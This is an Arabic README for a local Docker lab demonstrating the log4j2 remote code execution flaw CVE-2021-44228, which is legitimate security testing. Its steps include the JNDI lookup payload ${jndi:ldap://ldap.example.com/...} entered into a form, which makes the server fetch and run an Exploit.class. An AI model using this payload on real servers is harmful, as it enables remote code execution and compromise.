
log4j2 CVE-2021-44228 POC
مشروع لاختبار ثغرة تنفيذ التعليمات البرمجية عن بُعد في log4j2 (CVE-2021-44228) عمليًا.
docker-compose up
تستغرق حاوية log4j بعض الوقت حتى تصبح جاهزة بعد بدء التشغيل. تحقق من التقدم باستخدام الأمر التالي:
docker logs -f log4j
عند ظهور الرسالة Server started: Listening on port 8081 تكون جاهزًا.
تحقق من دليل /root في حاوية log4j:
docker exec log4j ls /root
في الحالة الأولية، يوجد دليل work فقط.
قم بزيارة http://localhost:8081/. إنه تطبيق بسيط يقوم فقط بطباعة الاسم المُدخل في النموذج على الشاشة وفي السجل.
أدخل ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} في النموذج وأرسله.
تحقق من دليل /root في حاوية log4j:
docker exec log4j ls /root
سيتم تنفيذ الكود الذي أعده المهاجم وإنشاء ملفات لم تكن موجودة من قبل. نظرًا لأن الطابع الزمني يُستخدم كاسم للملف، ستزداد الملفات الجديدة بعدد مرات تنفيذ الهجوم.
عند التحقق من سجلات حاوية ldap، يمكنك تأكيد وصول طلب SEARCH من حاوية log4j:
docker logs ldap
عند التحقق من سجلات tomcat في حاوية web، يمكنك تأكيد وصول طلب الوصول إلى Exploit.class (الفئة المستخدمة في الهجوم) من حاوية log4j:
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*